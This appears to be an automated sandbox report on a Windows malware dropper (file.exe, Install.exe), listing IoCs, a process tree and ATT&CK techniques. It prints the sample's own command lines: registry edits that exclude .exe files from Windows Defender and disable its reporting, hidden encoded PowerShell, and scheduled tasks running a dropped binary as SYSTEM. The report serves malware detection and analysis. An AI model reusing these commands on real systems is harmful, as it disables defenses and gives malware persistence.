a1e35f678e9003c0fc6023451952a1e84f7544b3ef9d7b49c9fa0b790c17532a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bKwcWZekAnYWEgmozo.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2660	schtasks.exe
3920	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5012	powershell.EXE
5012	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5012	powershell.EXE

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 3248	4604	file.exe	80
PID 4604 wrote to memory of 3248	4604	file.exe	80
PID 4604 wrote to memory of 3248	4604	file.exe	80
PID 3248 wrote to memory of 4940	3248	Install.exe	81
PID 3248 wrote to memory of 4940	3248	Install.exe	81
PID 3248 wrote to memory of 4940	3248	Install.exe	81
PID 4940 wrote to memory of 1448	4940	Install.exe	82
PID 4940 wrote to memory of 1448	4940	Install.exe	82
PID 4940 wrote to memory of 1448	4940	Install.exe	82
PID 4940 wrote to memory of 1656	4940	Install.exe	85
PID 4940 wrote to memory of 1656	4940	Install.exe	85
PID 4940 wrote to memory of 1656	4940	Install.exe	85
PID 1448 wrote to memory of 1632	1448	forfiles.exe	87
PID 1448 wrote to memory of 1632	1448	forfiles.exe	87
PID 1448 wrote to memory of 1632	1448	forfiles.exe	87
PID 1656 wrote to memory of 4128	1656	forfiles.exe	86
PID 1656 wrote to memory of 4128	1656	forfiles.exe	86
PID 1656 wrote to memory of 4128	1656	forfiles.exe	86
PID 1632 wrote to memory of 4596	1632	cmd.exe	89
PID 1632 wrote to memory of 4596	1632	cmd.exe	89
PID 1632 wrote to memory of 4596	1632	cmd.exe	89
PID 4128 wrote to memory of 2560	4128	cmd.exe	88
PID 4128 wrote to memory of 2560	4128	cmd.exe	88
PID 4128 wrote to memory of 2560	4128	cmd.exe	88
PID 4128 wrote to memory of 4288	4128	cmd.exe	91
PID 1632 wrote to memory of 1252	1632	cmd.exe	90
PID 4128 wrote to memory of 4288	4128	cmd.exe	91
PID 4128 wrote to memory of 4288	4128	cmd.exe	91
PID 1632 wrote to memory of 1252	1632	cmd.exe	90
PID 1632 wrote to memory of 1252	1632	cmd.exe	90
PID 4940 wrote to memory of 2660	4940	Install.exe	92
PID 4940 wrote to memory of 2660	4940	Install.exe	92
PID 4940 wrote to memory of 2660	4940	Install.exe	92
PID 4940 wrote to memory of 2564	4940	Install.exe	94
PID 4940 wrote to memory of 2564	4940	Install.exe	94
PID 4940 wrote to memory of 2564	4940	Install.exe	94
PID 4940 wrote to memory of 1208	4940	Install.exe	98
PID 4940 wrote to memory of 1208	4940	Install.exe	98
PID 4940 wrote to memory of 1208	4940	Install.exe	98
PID 4940 wrote to memory of 3920	4940	Install.exe	100
PID 4940 wrote to memory of 3920	4940	Install.exe	100
PID 4940 wrote to memory of 3920	4940	Install.exe	100
PID 5012 wrote to memory of 3812	5012	powershell.EXE	104
PID 5012 wrote to memory of 3812	5012	powershell.EXE	104

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Users\Admin\AppData\Local\Temp\7zS5505.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Users\Admin\AppData\Local\Temp\7zS5D62.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1448
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1632
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:4596
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1252
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1656
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4128
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:2560
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4288
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "grRoBHVhv" /SC once /ST 07:26:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:2660
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "grRoBHVhv"
      4⤵
      PID:2564
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "grRoBHVhv"
      4⤵
      PID:1208
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKwcWZekAnYWEgmozo" /SC once /ST 19:07:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\YajuaZf.exe\" q8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:3812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3536

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery